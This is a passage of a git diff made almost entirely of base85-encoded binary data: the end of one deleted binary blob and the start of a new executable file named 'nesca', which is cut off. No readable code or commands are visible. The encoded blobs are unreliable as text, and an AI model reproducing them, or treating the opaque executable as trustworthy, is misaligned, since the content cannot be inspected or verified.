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 Bvoiny literal 0 HcmV?d00001 diff --git a/nesca b/nesca new file mode 100755 index 0000000000000000000000000000000000000000..273743a5802d6855566c0a933d4cbfa70c37c4c7 GIT binary patch literal 976834 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�eCLqvQPyw^y7;Tpj|1?^DE ze;u@&%pU3kf{z39wdf?lr`eS5m1zIAR$)K;kv^>+`3x0&Bt8=LlVYmB#o$+YJ;L}z zrdtF4ncHWT;3M_+0JtMgf3(1*-}oUU@Wy<j{GHJbwXl)C2lx#ZKev<#`8%TgXJI?o z^0TpCtXeGe_LR9?){AuOF+P#<yqY2OmTL0ny~m*Z*v`uQZUFtTe6?I)%x|AkftPd_ zxb*+$W89*d^!d(8VV?~q`|JllXa1xK<4kFvk6kJ7GLxMb%)xXo5$W1cKewQMY&8Ox zc6-EHLGQqFX+ZjiuzVc{gg#}x9*prorAf{$PQj-+L-3dM&taTdGE?Bvu1?58`+Ue~ z=f7Vi%4>kh->$3^{2M0-KC-;-pNRRb6Zim>zv*6~pB9r}Erj-w*-ryo2n`2_!H>7< z1s~fVBEOP<7q`GQY=5OazjvF!9kWEb5`SWzNVgu#*CE(z*PkHryJL+pzX#U|J}p=- zGTr5%Pgd?LFz!l5K9kUIXr~#|or~qzjQu_-&nZw4jL&wH|6Bw9irX#r`=s7p$NFm< zCisIG{Mdl;PYJf~HpF*TqkaYmdPt5Ri@-0jbZx(jIISM>;kwX6%0{Ceo=5#On)+Ff zl?(pOn&7`3`7DL@h{<1nsZkH@0cYthGS!PbyGXau)NkE<E%HB0@R53`87puH>Ulq= z+hdi$HH;HvzPj8k@Dl9bNj>}n?FEx(fGJ+R5$Rjdf68*db`a|4L8E@s&_AS@>fOfc zM7vzFRkWwIDCZ>fOZC{l+ljcZhv47(n34bbMVMa}7{lS<|H3zjmI}NP`*+!hmrfA* z$~W27#N!125|jUYASmQ)e$XiA?^u7Ev41DieRHx%*EU+n(}3xIGD+a|eu3K%zqDBJ zZ+z0o|2UA7+d208r2Jlp_gJ|sFxknNnF8OAcrx;LgCFDeZ1USasPBw_3HJLW|F!oB zKeJ=6(DNh6=Yn;D-hur=X;*&mON>wBG@~7!d=2u){$L66Y3C8RmM-X5AfA&i<owwb 